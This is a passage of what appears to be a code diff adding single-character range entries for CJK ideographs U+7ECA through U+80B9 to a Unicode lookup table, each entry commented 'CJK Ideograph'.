+ ["\u7ECA", "\u7ECA"], /* CJK Ideograph */
+ ["\u7ECB", "\u7ECB"], /* CJK Ideograph */
+ ["\u7ECC", "\u7ECC"], /* CJK Ideograph */
+ ["\u7ECD", "\u7ECD"], /* CJK Ideograph */
+ ["\u7ECE", "\u7ECE"], /* CJK Ideograph */
+ ["\u7ECF", "\u7ECF"], /* CJK Ideograph */
+ ["\u7ED0", "\u7ED0"], /* CJK Ideograph */
+ ["\u7ED1", "\u7ED1"], /* CJK Ideograph */
+ ["\u7ED2", "\u7ED2"], /* CJK Ideograph */
+ ["\u7ED3", "\u7ED3"], /* CJK Ideograph */
+ ["\u7ED4", "\u7ED4"], /* CJK Ideograph */
+ ["\u7ED5", "\u7ED5"], /* CJK Ideograph */
+ ["\u7ED6", "\u7ED6"], /* CJK Ideograph */
+ ["\u7ED7", "\u7ED7"], /* CJK Ideograph */
+ ["\u7ED8", "\u7ED8"], /* CJK Ideograph */
+ ["\u7ED9", "\u7ED9"], /* CJK Ideograph */
+ ["\u7EDA", "\u7EDA"], /* CJK Ideograph */
+ ["\u7EDB", "\u7EDB"], /* CJK Ideograph */
+ ["\u7EDC", "\u7EDC"], /* CJK Ideograph */
+ ["\u7EDD", "\u7EDD"], /* CJK Ideograph */
+ ["\u7EDE", "\u7EDE"], /* CJK Ideograph */
+ ["\u7EDF", "\u7EDF"], /* CJK Ideograph */
+ ["\u7EE0", "\u7EE0"], /* CJK Ideograph */
+ ["\u7EE1", "\u7EE1"], /* CJK Ideograph */
+ ["\u7EE2", "\u7EE2"], /* CJK Ideograph */
+ ["\u7EE3", "\u7EE3"], /* CJK Ideograph */
+ ["\u7EE4", "\u7EE4"], /* CJK Ideograph */
+ ["\u7EE5", "\u7EE5"], /* CJK Ideograph */
+ ["\u7EE6", "\u7EE6"], /* CJK Ideograph */
+ ["\u7EE7", "\u7EE7"], /* CJK Ideograph */
+ ["\u7EE8", "\u7EE8"], /* CJK Ideograph */
+ ["\u7EE9", "\u7EE9"], /* CJK Ideograph */
+ ["\u7EEA", "\u7EEA"], /* CJK Ideograph */
+ ["\u7EEB", "\u7EEB"], /* CJK Ideograph */
+ ["\u7EEC", "\u7EEC"], /* CJK Ideograph */
+ ["\u7EED", "\u7EED"], /* CJK Ideograph */
+ ["\u7EEE", "\u7EEE"], /* CJK Ideograph */
+ ["\u7EEF", "\u7EEF"], /* CJK Ideograph */
+ ["\u7EF0", "\u7EF0"], /* CJK Ideograph */
+ ["\u7EF1", "\u7EF1"], /* CJK Ideograph */
+ ["\u7EF2", "\u7EF2"], /* CJK Ideograph */
+ ["\u7EF3", "\u7EF3"], /* CJK Ideograph */
+ ["\u7EF4", "\u7EF4"], /* CJK Ideograph */
+ ["\u7EF5", "\u7EF5"], /* CJK Ideograph */
+ ["\u7EF6", "\u7EF6"], /* CJK Ideograph */
+ ["\u7EF7", "\u7EF7"], /* CJK Ideograph */
+ ["\u7EF8", "\u7EF8"], /* CJK Ideograph */
+ ["\u7EF9", "\u7EF9"], /* CJK Ideograph */
+ ["\u7EFA", "\u7EFA"], /* CJK Ideograph */
+ ["\u7EFB", "\u7EFB"], /* CJK Ideograph */
+ ["\u7EFC", "\u7EFC"], /* CJK Ideograph */
+ ["\u7EFD", "\u7EFD"], /* CJK Ideograph */
+ ["\u7EFE", "\u7EFE"], /* CJK Ideograph */
+ ["\u7EFF", "\u7EFF"], /* CJK Ideograph */
+ ["\u7F00", "\u7F00"], /* CJK Ideograph */
+ ["\u7F01", "\u7F01"], /* CJK Ideograph */
+ ["\u7F02", "\u7F02"], /* CJK Ideograph */
+ ["\u7F03", "\u7F03"], /* CJK Ideograph */
+ ["\u7F04", "\u7F04"], /* CJK Ideograph */
+ ["\u7F05", "\u7F05"], /* CJK Ideograph */
+ ["\u7F06", "\u7F06"], /* CJK Ideograph */
+ ["\u7F07", "\u7F07"], /* CJK Ideograph */
+ ["\u7F08", "\u7F08"], /* CJK Ideograph */
+ ["\u7F09", "\u7F09"], /* CJK Ideograph */
+ ["\u7F0A", "\u7F0A"], /* CJK Ideograph */
+ ["\u7F0B", "\u7F0B"], /* CJK Ideograph */
+ ["\u7F0C", "\u7F0C"], /* CJK Ideograph */
+ ["\u7F0D", "\u7F0D"], /* CJK Ideograph */
+ ["\u7F0E", "\u7F0E"], /* CJK Ideograph */
+ ["\u7F0F", "\u7F0F"], /* CJK Ideograph */
+ ["\u7F10", "\u7F10"], /* CJK Ideograph */
+ ["\u7F11", "\u7F11"], /* CJK Ideograph */
+ ["\u7F12", "\u7F12"], /* CJK Ideograph */
+ ["\u7F13", "\u7F13"], /* CJK Ideograph */
+ ["\u7F14", "\u7F14"], /* CJK Ideograph */
+ ["\u7F15", "\u7F15"], /* CJK Ideograph */
+ ["\u7F16", "\u7F16"], /* CJK Ideograph */
+ ["\u7F17", "\u7F17"], /* CJK Ideograph */
+ ["\u7F18", "\u7F18"], /* CJK Ideograph */
+ ["\u7F19", "\u7F19"], /* CJK Ideograph */
+ ["\u7F1A", "\u7F1A"], /* CJK Ideograph */
+ ["\u7F1B", "\u7F1B"], /* CJK Ideograph */
+ ["\u7F1C", "\u7F1C"], /* CJK Ideograph */
+ ["\u7F1D", "\u7F1D"], /* CJK Ideograph */
+ ["\u7F1E", "\u7F1E"], /* CJK Ideograph */
+ ["\u7F1F", "\u7F1F"], /* CJK Ideograph */
+ ["\u7F20", "\u7F20"], /* CJK Ideograph */
+ ["\u7F21", "\u7F21"], /* CJK Ideograph */
+ ["\u7F22", "\u7F22"], /* CJK Ideograph */
+ ["\u7F23", "\u7F23"], /* CJK Ideograph */
+ ["\u7F24", "\u7F24"], /* CJK Ideograph */
+ ["\u7F25", "\u7F25"], /* CJK Ideograph */
+ ["\u7F26", "\u7F26"], /* CJK Ideograph */
+ ["\u7F27", "\u7F27"], /* CJK Ideograph */
+ ["\u7F28", "\u7F28"], /* CJK Ideograph */
+ ["\u7F29", "\u7F29"], /* CJK Ideograph */
+ ["\u7F2A", "\u7F2A"], /* CJK Ideograph */
+ ["\u7F2B", "\u7F2B"], /* CJK Ideograph */
+ ["\u7F2C", "\u7F2C"], /* CJK Ideograph */
+ ["\u7F2D", "\u7F2D"], /* CJK Ideograph */
+ ["\u7F2E", "\u7F2E"], /* CJK Ideograph */
+ ["\u7F2F", "\u7F2F"], /* CJK Ideograph */
+ ["\u7F30", "\u7F30"], /* CJK Ideograph */
+ ["\u7F31", "\u7F31"], /* CJK Ideograph */
+ ["\u7F32", "\u7F32"], /* CJK Ideograph */
+ ["\u7F33", "\u7F33"], /* CJK Ideograph */
+ ["\u7F34", "\u7F34"], /* CJK Ideograph */
+ ["\u7F35", "\u7F35"], /* CJK Ideograph */
+ ["\u7F36", "\u7F36"], /* CJK Ideograph */
+ ["\u7F37", "\u7F37"], /* CJK Ideograph */
+ ["\u7F38", "\u7F38"], /* CJK Ideograph */
+ ["\u7F39", "\u7F39"], /* CJK Ideograph */
+ ["\u7F3A", "\u7F3A"], /* CJK Ideograph */
+ ["\u7F3B", "\u7F3B"], /* CJK Ideograph */
+ ["\u7F3C", "\u7F3C"], /* CJK Ideograph */
+ ["\u7F3D", "\u7F3D"], /* CJK Ideograph */
+ ["\u7F3E", "\u7F3E"], /* CJK Ideograph */
+ ["\u7F3F", "\u7F3F"], /* CJK Ideograph */
+ ["\u7F40", "\u7F40"], /* CJK Ideograph */
+ ["\u7F41", "\u7F41"], /* CJK Ideograph */
+ ["\u7F42", "\u7F42"], /* CJK Ideograph */
+ ["\u7F43", "\u7F43"], /* CJK Ideograph */
+ ["\u7F44", "\u7F44"], /* CJK Ideograph */
+ ["\u7F45", "\u7F45"], /* CJK Ideograph */
+ ["\u7F46", "\u7F46"], /* CJK Ideograph */
+ ["\u7F47", "\u7F47"], /* CJK Ideograph */
+ ["\u7F48", "\u7F48"], /* CJK Ideograph */
+ ["\u7F49", "\u7F49"], /* CJK Ideograph */
+ ["\u7F4A", "\u7F4A"], /* CJK Ideograph */
+ ["\u7F4B", "\u7F4B"], /* CJK Ideograph */
+ ["\u7F4C", "\u7F4C"], /* CJK Ideograph */
+ ["\u7F4D", "\u7F4D"], /* CJK Ideograph */
+ ["\u7F4E", "\u7F4E"], /* CJK Ideograph */
+ ["\u7F4F", "\u7F4F"], /* CJK Ideograph */
+ ["\u7F50", "\u7F50"], /* CJK Ideograph */
+ ["\u7F51", "\u7F51"], /* CJK Ideograph */
+ ["\u7F52", "\u7F52"], /* CJK Ideograph */
+ ["\u7F53", "\u7F53"], /* CJK Ideograph */
+ ["\u7F54", "\u7F54"], /* CJK Ideograph */
+ ["\u7F55", "\u7F55"], /* CJK Ideograph */
+ ["\u7F56", "\u7F56"], /* CJK Ideograph */
+ ["\u7F57", "\u7F57"], /* CJK Ideograph */
+ ["\u7F58", "\u7F58"], /* CJK Ideograph */
+ ["\u7F59", "\u7F59"], /* CJK Ideograph */
+ ["\u7F5A", "\u7F5A"], /* CJK Ideograph */
+ ["\u7F5B", "\u7F5B"], /* CJK Ideograph */
+ ["\u7F5C", "\u7F5C"], /* CJK Ideograph */
+ ["\u7F5D", "\u7F5D"], /* CJK Ideograph */
+ ["\u7F5E", "\u7F5E"], /* CJK Ideograph */
+ ["\u7F5F", "\u7F5F"], /* CJK Ideograph */
+ ["\u7F60", "\u7F60"], /* CJK Ideograph */
+ ["\u7F61", "\u7F61"], /* CJK Ideograph */
+ ["\u7F62", "\u7F62"], /* CJK Ideograph */
+ ["\u7F63", "\u7F63"], /* CJK Ideograph */
+ ["\u7F64", "\u7F64"], /* CJK Ideograph */
+ ["\u7F65", "\u7F65"], /* CJK Ideograph */
+ ["\u7F66", "\u7F66"], /* CJK Ideograph */
+ ["\u7F67", "\u7F67"], /* CJK Ideograph */
+ ["\u7F68", "\u7F68"], /* CJK Ideograph */
+ ["\u7F69", "\u7F69"], /* CJK Ideograph */
+ ["\u7F6A", "\u7F6A"], /* CJK Ideograph */
+ ["\u7F6B", "\u7F6B"], /* CJK Ideograph */
+ ["\u7F6C", "\u7F6C"], /* CJK Ideograph */
+ ["\u7F6D", "\u7F6D"], /* CJK Ideograph */
+ ["\u7F6E", "\u7F6E"], /* CJK Ideograph */
+ ["\u7F6F", "\u7F6F"], /* CJK Ideograph */
+ ["\u7F70", "\u7F70"], /* CJK Ideograph */
+ ["\u7F71", "\u7F71"], /* CJK Ideograph */
+ ["\u7F72", "\u7F72"], /* CJK Ideograph */
+ ["\u7F73", "\u7F73"], /* CJK Ideograph */
+ ["\u7F74", "\u7F74"], /* CJK Ideograph */
+ ["\u7F75", "\u7F75"], /* CJK Ideograph */
+ ["\u7F76", "\u7F76"], /* CJK Ideograph */
+ ["\u7F77", "\u7F77"], /* CJK Ideograph */
+ ["\u7F78", "\u7F78"], /* CJK Ideograph */
+ ["\u7F79", "\u7F79"], /* CJK Ideograph */
+ ["\u7F7A", "\u7F7A"], /* CJK Ideograph */
+ ["\u7F7B", "\u7F7B"], /* CJK Ideograph */
+ ["\u7F7C", "\u7F7C"], /* CJK Ideograph */
+ ["\u7F7D", "\u7F7D"], /* CJK Ideograph */
+ ["\u7F7E", "\u7F7E"], /* CJK Ideograph */
+ ["\u7F7F", "\u7F7F"], /* CJK Ideograph */
+ ["\u7F80", "\u7F80"], /* CJK Ideograph */
+ ["\u7F81", "\u7F81"], /* CJK Ideograph */
+ ["\u7F82", "\u7F82"], /* CJK Ideograph */
+ ["\u7F83", "\u7F83"], /* CJK Ideograph */
+ ["\u7F84", "\u7F84"], /* CJK Ideograph */
+ ["\u7F85", "\u7F85"], /* CJK Ideograph */
+ ["\u7F86", "\u7F86"], /* CJK Ideograph */
+ ["\u7F87", "\u7F87"], /* CJK Ideograph */
+ ["\u7F88", "\u7F88"], /* CJK Ideograph */
+ ["\u7F89", "\u7F89"], /* CJK Ideograph */
+ ["\u7F8A", "\u7F8A"], /* CJK Ideograph */
+ ["\u7F8B", "\u7F8B"], /* CJK Ideograph */
+ ["\u7F8C", "\u7F8C"], /* CJK Ideograph */
+ ["\u7F8D", "\u7F8D"], /* CJK Ideograph */
+ ["\u7F8E", "\u7F8E"], /* CJK Ideograph */
+ ["\u7F8F", "\u7F8F"], /* CJK Ideograph */
+ ["\u7F90", "\u7F90"], /* CJK Ideograph */
+ ["\u7F91", "\u7F91"], /* CJK Ideograph */
+ ["\u7F92", "\u7F92"], /* CJK Ideograph */
+ ["\u7F93", "\u7F93"], /* CJK Ideograph */
+ ["\u7F94", "\u7F94"], /* CJK Ideograph */
+ ["\u7F95", "\u7F95"], /* CJK Ideograph */
+ ["\u7F96", "\u7F96"], /* CJK Ideograph */
+ ["\u7F97", "\u7F97"], /* CJK Ideograph */
+ ["\u7F98", "\u7F98"], /* CJK Ideograph */
+ ["\u7F99", "\u7F99"], /* CJK Ideograph */
+ ["\u7F9A", "\u7F9A"], /* CJK Ideograph */
+ ["\u7F9B", "\u7F9B"], /* CJK Ideograph */
+ ["\u7F9C", "\u7F9C"], /* CJK Ideograph */
+ ["\u7F9D", "\u7F9D"], /* CJK Ideograph */
+ ["\u7F9E", "\u7F9E"], /* CJK Ideograph */
+ ["\u7F9F", "\u7F9F"], /* CJK Ideograph */
+ ["\u7FA0", "\u7FA0"], /* CJK Ideograph */
+ ["\u7FA1", "\u7FA1"], /* CJK Ideograph */
+ ["\u7FA2", "\u7FA2"], /* CJK Ideograph */
+ ["\u7FA3", "\u7FA3"], /* CJK Ideograph */
+ ["\u7FA4", "\u7FA4"], /* CJK Ideograph */
+ ["\u7FA5", "\u7FA5"], /* CJK Ideograph */
+ ["\u7FA6", "\u7FA6"], /* CJK Ideograph */
+ ["\u7FA7", "\u7FA7"], /* CJK Ideograph */
+ ["\u7FA8", "\u7FA8"], /* CJK Ideograph */
+ ["\u7FA9", "\u7FA9"], /* CJK Ideograph */
+ ["\u7FAA", "\u7FAA"], /* CJK Ideograph */
+ ["\u7FAB", "\u7FAB"], /* CJK Ideograph */
+ ["\u7FAC", "\u7FAC"], /* CJK Ideograph */
+ ["\u7FAD", "\u7FAD"], /* CJK Ideograph */
+ ["\u7FAE", "\u7FAE"], /* CJK Ideograph */
+ ["\u7FAF", "\u7FAF"], /* CJK Ideograph */
+ ["\u7FB0", "\u7FB0"], /* CJK Ideograph */
+ ["\u7FB1", "\u7FB1"], /* CJK Ideograph */
+ ["\u7FB2", "\u7FB2"], /* CJK Ideograph */
+ ["\u7FB3", "\u7FB3"], /* CJK Ideograph */
+ ["\u7FB4", "\u7FB4"], /* CJK Ideograph */
+ ["\u7FB5", "\u7FB5"], /* CJK Ideograph */
+ ["\u7FB6", "\u7FB6"], /* CJK Ideograph */
+ ["\u7FB7", "\u7FB7"], /* CJK Ideograph */
+ ["\u7FB8", "\u7FB8"], /* CJK Ideograph */
+ ["\u7FB9", "\u7FB9"], /* CJK Ideograph */
+ ["\u7FBA", "\u7FBA"], /* CJK Ideograph */
+ ["\u7FBB", "\u7FBB"], /* CJK Ideograph */
+ ["\u7FBC", "\u7FBC"], /* CJK Ideograph */
+ ["\u7FBD", "\u7FBD"], /* CJK Ideograph */
+ ["\u7FBE", "\u7FBE"], /* CJK Ideograph */
+ ["\u7FBF", "\u7FBF"], /* CJK Ideograph */
+ ["\u7FC0", "\u7FC0"], /* CJK Ideograph */
+ ["\u7FC1", "\u7FC1"], /* CJK Ideograph */
+ ["\u7FC2", "\u7FC2"], /* CJK Ideograph */
+ ["\u7FC3", "\u7FC3"], /* CJK Ideograph */
+ ["\u7FC4", "\u7FC4"], /* CJK Ideograph */
+ ["\u7FC5", "\u7FC5"], /* CJK Ideograph */
+ ["\u7FC6", "\u7FC6"], /* CJK Ideograph */
+ ["\u7FC7", "\u7FC7"], /* CJK Ideograph */
+ ["\u7FC8", "\u7FC8"], /* CJK Ideograph */
+ ["\u7FC9", "\u7FC9"], /* CJK Ideograph */
+ ["\u7FCA", "\u7FCA"], /* CJK Ideograph */
+ ["\u7FCB", "\u7FCB"], /* CJK Ideograph */
+ ["\u7FCC", "\u7FCC"], /* CJK Ideograph */
+ ["\u7FCD", "\u7FCD"], /* CJK Ideograph */
+ ["\u7FCE", "\u7FCE"], /* CJK Ideograph */
+ ["\u7FCF", "\u7FCF"], /* CJK Ideograph */
+ ["\u7FD0", "\u7FD0"], /* CJK Ideograph */
+ ["\u7FD1", "\u7FD1"], /* CJK Ideograph */
+ ["\u7FD2", "\u7FD2"], /* CJK Ideograph */
+ ["\u7FD3", "\u7FD3"], /* CJK Ideograph */
+ ["\u7FD4", "\u7FD4"], /* CJK Ideograph */
+ ["\u7FD5", "\u7FD5"], /* CJK Ideograph */
+ ["\u7FD6", "\u7FD6"], /* CJK Ideograph */
+ ["\u7FD7", "\u7FD7"], /* CJK Ideograph */
+ ["\u7FD8", "\u7FD8"], /* CJK Ideograph */
+ ["\u7FD9", "\u7FD9"], /* CJK Ideograph */
+ ["\u7FDA", "\u7FDA"], /* CJK Ideograph */
+ ["\u7FDB", "\u7FDB"], /* CJK Ideograph */
+ ["\u7FDC", "\u7FDC"], /* CJK Ideograph */
+ ["\u7FDD", "\u7FDD"], /* CJK Ideograph */
+ ["\u7FDE", "\u7FDE"], /* CJK Ideograph */
+ ["\u7FDF", "\u7FDF"], /* CJK Ideograph */
+ ["\u7FE0", "\u7FE0"], /* CJK Ideograph */
+ ["\u7FE1", "\u7FE1"], /* CJK Ideograph */
+ ["\u7FE2", "\u7FE2"], /* CJK Ideograph */
+ ["\u7FE3", "\u7FE3"], /* CJK Ideograph */
+ ["\u7FE4", "\u7FE4"], /* CJK Ideograph */
+ ["\u7FE5", "\u7FE5"], /* CJK Ideograph */
+ ["\u7FE6", "\u7FE6"], /* CJK Ideograph */
+ ["\u7FE7", "\u7FE7"], /* CJK Ideograph */
+ ["\u7FE8", "\u7FE8"], /* CJK Ideograph */
+ ["\u7FE9", "\u7FE9"], /* CJK Ideograph */
+ ["\u7FEA", "\u7FEA"], /* CJK Ideograph */
+ ["\u7FEB", "\u7FEB"], /* CJK Ideograph */
+ ["\u7FEC", "\u7FEC"], /* CJK Ideograph */
+ ["\u7FED", "\u7FED"], /* CJK Ideograph */
+ ["\u7FEE", "\u7FEE"], /* CJK Ideograph */
+ ["\u7FEF", "\u7FEF"], /* CJK Ideograph */
+ ["\u7FF0", "\u7FF0"], /* CJK Ideograph */
+ ["\u7FF1", "\u7FF1"], /* CJK Ideograph */
+ ["\u7FF2", "\u7FF2"], /* CJK Ideograph */
+ ["\u7FF3", "\u7FF3"], /* CJK Ideograph */
+ ["\u7FF4", "\u7FF4"], /* CJK Ideograph */
+ ["\u7FF5", "\u7FF5"], /* CJK Ideograph */
+ ["\u7FF6", "\u7FF6"], /* CJK Ideograph */
+ ["\u7FF7", "\u7FF7"], /* CJK Ideograph */
+ ["\u7FF8", "\u7FF8"], /* CJK Ideograph */
+ ["\u7FF9", "\u7FF9"], /* CJK Ideograph */
+ ["\u7FFA", "\u7FFA"], /* CJK Ideograph */
+ ["\u7FFB", "\u7FFB"], /* CJK Ideograph */
+ ["\u7FFC", "\u7FFC"], /* CJK Ideograph */
+ ["\u7FFD", "\u7FFD"], /* CJK Ideograph */
+ ["\u7FFE", "\u7FFE"], /* CJK Ideograph */
+ ["\u7FFF", "\u7FFF"], /* CJK Ideograph */
+ ["\u8000", "\u8000"], /* CJK Ideograph */
+ ["\u8001", "\u8001"], /* CJK Ideograph */
+ ["\u8002", "\u8002"], /* CJK Ideograph */
+ ["\u8003", "\u8003"], /* CJK Ideograph */
+ ["\u8004", "\u8004"], /* CJK Ideograph */
+ ["\u8005", "\u8005"], /* CJK Ideograph */
+ ["\u8006", "\u8006"], /* CJK Ideograph */
+ ["\u8007", "\u8007"], /* CJK Ideograph */
+ ["\u8008", "\u8008"], /* CJK Ideograph */
+ ["\u8009", "\u8009"], /* CJK Ideograph */
+ ["\u800A", "\u800A"], /* CJK Ideograph */
+ ["\u800B", "\u800B"], /* CJK Ideograph */
+ ["\u800C", "\u800C"], /* CJK Ideograph */
+ ["\u800D", "\u800D"], /* CJK Ideograph */
+ ["\u800E", "\u800E"], /* CJK Ideograph */
+ ["\u800F", "\u800F"], /* CJK Ideograph */
+ ["\u8010", "\u8010"], /* CJK Ideograph */
+ ["\u8011", "\u8011"], /* CJK Ideograph */
+ ["\u8012", "\u8012"], /* CJK Ideograph */
+ ["\u8013", "\u8013"], /* CJK Ideograph */
+ ["\u8014", "\u8014"], /* CJK Ideograph */
+ ["\u8015", "\u8015"], /* CJK Ideograph */
+ ["\u8016", "\u8016"], /* CJK Ideograph */
+ ["\u8017", "\u8017"], /* CJK Ideograph */
+ ["\u8018", "\u8018"], /* CJK Ideograph */
+ ["\u8019", "\u8019"], /* CJK Ideograph */
+ ["\u801A", "\u801A"], /* CJK Ideograph */
+ ["\u801B", "\u801B"], /* CJK Ideograph */
+ ["\u801C", "\u801C"], /* CJK Ideograph */
+ ["\u801D", "\u801D"], /* CJK Ideograph */
+ ["\u801E", "\u801E"], /* CJK Ideograph */
+ ["\u801F", "\u801F"], /* CJK Ideograph */
+ ["\u8020", "\u8020"], /* CJK Ideograph */
+ ["\u8021", "\u8021"], /* CJK Ideograph */
+ ["\u8022", "\u8022"], /* CJK Ideograph */
+ ["\u8023", "\u8023"], /* CJK Ideograph */
+ ["\u8024", "\u8024"], /* CJK Ideograph */
+ ["\u8025", "\u8025"], /* CJK Ideograph */
+ ["\u8026", "\u8026"], /* CJK Ideograph */
+ ["\u8027", "\u8027"], /* CJK Ideograph */
+ ["\u8028", "\u8028"], /* CJK Ideograph */
+ ["\u8029", "\u8029"], /* CJK Ideograph */
+ ["\u802A", "\u802A"], /* CJK Ideograph */
+ ["\u802B", "\u802B"], /* CJK Ideograph */
+ ["\u802C", "\u802C"], /* CJK Ideograph */
+ ["\u802D", "\u802D"], /* CJK Ideograph */
+ ["\u802E", "\u802E"], /* CJK Ideograph */
+ ["\u802F", "\u802F"], /* CJK Ideograph */
+ ["\u8030", "\u8030"], /* CJK Ideograph */
+ ["\u8031", "\u8031"], /* CJK Ideograph */
+ ["\u8032", "\u8032"], /* CJK Ideograph */
+ ["\u8033", "\u8033"], /* CJK Ideograph */
+ ["\u8034", "\u8034"], /* CJK Ideograph */
+ ["\u8035", "\u8035"], /* CJK Ideograph */
+ ["\u8036", "\u8036"], /* CJK Ideograph */
+ ["\u8037", "\u8037"], /* CJK Ideograph */
+ ["\u8038", "\u8038"], /* CJK Ideograph */
+ ["\u8039", "\u8039"], /* CJK Ideograph */
+ ["\u803A", "\u803A"], /* CJK Ideograph */
+ ["\u803B", "\u803B"], /* CJK Ideograph */
+ ["\u803C", "\u803C"], /* CJK Ideograph */
+ ["\u803D", "\u803D"], /* CJK Ideograph */
+ ["\u803E", "\u803E"], /* CJK Ideograph */
+ ["\u803F", "\u803F"], /* CJK Ideograph */
+ ["\u8040", "\u8040"], /* CJK Ideograph */
+ ["\u8041", "\u8041"], /* CJK Ideograph */
+ ["\u8042", "\u8042"], /* CJK Ideograph */
+ ["\u8043", "\u8043"], /* CJK Ideograph */
+ ["\u8044", "\u8044"], /* CJK Ideograph */
+ ["\u8045", "\u8045"], /* CJK Ideograph */
+ ["\u8046", "\u8046"], /* CJK Ideograph */
+ ["\u8047", "\u8047"], /* CJK Ideograph */
+ ["\u8048", "\u8048"], /* CJK Ideograph */
+ ["\u8049", "\u8049"], /* CJK Ideograph */
+ ["\u804A", "\u804A"], /* CJK Ideograph */
+ ["\u804B", "\u804B"], /* CJK Ideograph */
+ ["\u804C", "\u804C"], /* CJK Ideograph */
+ ["\u804D", "\u804D"], /* CJK Ideograph */
+ ["\u804E", "\u804E"], /* CJK Ideograph */
+ ["\u804F", "\u804F"], /* CJK Ideograph */
+ ["\u8050", "\u8050"], /* CJK Ideograph */
+ ["\u8051", "\u8051"], /* CJK Ideograph */
+ ["\u8052", "\u8052"], /* CJK Ideograph */
+ ["\u8053", "\u8053"], /* CJK Ideograph */
+ ["\u8054", "\u8054"], /* CJK Ideograph */
+ ["\u8055", "\u8055"], /* CJK Ideograph */
+ ["\u8056", "\u8056"], /* CJK Ideograph */
+ ["\u8057", "\u8057"], /* CJK Ideograph */
+ ["\u8058", "\u8058"], /* CJK Ideograph */
+ ["\u8059", "\u8059"], /* CJK Ideograph */
+ ["\u805A", "\u805A"], /* CJK Ideograph */
+ ["\u805B", "\u805B"], /* CJK Ideograph */
+ ["\u805C", "\u805C"], /* CJK Ideograph */
+ ["\u805D", "\u805D"], /* CJK Ideograph */
+ ["\u805E", "\u805E"], /* CJK Ideograph */
+ ["\u805F", "\u805F"], /* CJK Ideograph */
+ ["\u8060", "\u8060"], /* CJK Ideograph */
+ ["\u8061", "\u8061"], /* CJK Ideograph */
+ ["\u8062", "\u8062"], /* CJK Ideograph */
+ ["\u8063", "\u8063"], /* CJK Ideograph */
+ ["\u8064", "\u8064"], /* CJK Ideograph */
+ ["\u8065", "\u8065"], /* CJK Ideograph */
+ ["\u8066", "\u8066"], /* CJK Ideograph */
+ ["\u8067", "\u8067"], /* CJK Ideograph */
+ ["\u8068", "\u8068"], /* CJK Ideograph */
+ ["\u8069", "\u8069"], /* CJK Ideograph */
+ ["\u806A", "\u806A"], /* CJK Ideograph */
+ ["\u806B", "\u806B"], /* CJK Ideograph */
+ ["\u806C", "\u806C"], /* CJK Ideograph */
+ ["\u806D", "\u806D"], /* CJK Ideograph */
+ ["\u806E", "\u806E"], /* CJK Ideograph */
+ ["\u806F", "\u806F"], /* CJK Ideograph */
+ ["\u8070", "\u8070"], /* CJK Ideograph */
+ ["\u8071", "\u8071"], /* CJK Ideograph */
+ ["\u8072", "\u8072"], /* CJK Ideograph */
+ ["\u8073", "\u8073"], /* CJK Ideograph */
+ ["\u8074", "\u8074"], /* CJK Ideograph */
+ ["\u8075", "\u8075"], /* CJK Ideograph */
+ ["\u8076", "\u8076"], /* CJK Ideograph */
+ ["\u8077", "\u8077"], /* CJK Ideograph */
+ ["\u8078", "\u8078"], /* CJK Ideograph */
+ ["\u8079", "\u8079"], /* CJK Ideograph */
+ ["\u807A", "\u807A"], /* CJK Ideograph */
+ ["\u807B", "\u807B"], /* CJK Ideograph */
+ ["\u807C", "\u807C"], /* CJK Ideograph */
+ ["\u807D", "\u807D"], /* CJK Ideograph */
+ ["\u807E", "\u807E"], /* CJK Ideograph */
+ ["\u807F", "\u807F"], /* CJK Ideograph */
+ ["\u8080", "\u8080"], /* CJK Ideograph */
+ ["\u8081", "\u8081"], /* CJK Ideograph */
+ ["\u8082", "\u8082"], /* CJK Ideograph */
+ ["\u8083", "\u8083"], /* CJK Ideograph */
+ ["\u8084", "\u8084"], /* CJK Ideograph */
+ ["\u8085", "\u8085"], /* CJK Ideograph */
+ ["\u8086", "\u8086"], /* CJK Ideograph */
+ ["\u8087", "\u8087"], /* CJK Ideograph */
+ ["\u8088", "\u8088"], /* CJK Ideograph */
+ ["\u8089", "\u8089"], /* CJK Ideograph */
+ ["\u808A", "\u808A"], /* CJK Ideograph */
+ ["\u808B", "\u808B"], /* CJK Ideograph */
+ ["\u808C", "\u808C"], /* CJK Ideograph */
+ ["\u808D", "\u808D"], /* CJK Ideograph */
+ ["\u808E", "\u808E"], /* CJK Ideograph */
+ ["\u808F", "\u808F"], /* CJK Ideograph */
+ ["\u8090", "\u8090"], /* CJK Ideograph */
+ ["\u8091", "\u8091"], /* CJK Ideograph */
+ ["\u8092", "\u8092"], /* CJK Ideograph */
+ ["\u8093", "\u8093"], /* CJK Ideograph */
+ ["\u8094", "\u8094"], /* CJK Ideograph */
+ ["\u8095", "\u8095"], /* CJK Ideograph */
+ ["\u8096", "\u8096"], /* CJK Ideograph */
+ ["\u8097", "\u8097"], /* CJK Ideograph */
+ ["\u8098", "\u8098"], /* CJK Ideograph */
+ ["\u8099", "\u8099"], /* CJK Ideograph */
+ ["\u809A", "\u809A"], /* CJK Ideograph */
+ ["\u809B", "\u809B"], /* CJK Ideograph */
+ ["\u809C", "\u809C"], /* CJK Ideograph */
+ ["\u809D", "\u809D"], /* CJK Ideograph */
+ ["\u809E", "\u809E"], /* CJK Ideograph */
+ ["\u809F", "\u809F"], /* CJK Ideograph */
+ ["\u80A0", "\u80A0"], /* CJK Ideograph */
+ ["\u80A1", "\u80A1"], /* CJK Ideograph */
+ ["\u80A2", "\u80A2"], /* CJK Ideograph */
+ ["\u80A3", "\u80A3"], /* CJK Ideograph */
+ ["\u80A4", "\u80A4"], /* CJK Ideograph */
+ ["\u80A5", "\u80A5"], /* CJK Ideograph */
+ ["\u80A6", "\u80A6"], /* CJK Ideograph */
+ ["\u80A7", "\u80A7"], /* CJK Ideograph */
+ ["\u80A8", "\u80A8"], /* CJK Ideograph */
+ ["\u80A9", "\u80A9"], /* CJK Ideograph */
+ ["\u80AA", "\u80AA"], /* CJK Ideograph */
+ ["\u80AB", "\u80AB"], /* CJK Ideograph */
+ ["\u80AC", "\u80AC"], /* CJK Ideograph */
+ ["\u80AD", "\u80AD"], /* CJK Ideograph */
+ ["\u80AE", "\u80AE"], /* CJK Ideograph */
+ ["\u80AF", "\u80AF"], /* CJK Ideograph */
+ ["\u80B0", "\u80B0"], /* CJK Ideograph */
+ ["\u80B1", "\u80B1"], /* CJK Ideograph */
+ ["\u80B2", "\u80B2"], /* CJK Ideograph */
+ ["\u80B3", "\u80B3"], /* CJK Ideograph */
+ ["\u80B4", "\u80B4"], /* CJK Ideograph */
+ ["\u80B5", "\u80B5"], /* CJK Ideograph */
+ ["\u80B6", "\u80B6"], /* CJK Ideograph */
+ ["\u80B7", "\u80B7"], /* CJK Ideograph */
+ ["\u80B8", "\u80B8"], /* CJK Ideograph */
+ ["\u80B9", "\u80B9"], /* CJK Ideograph */
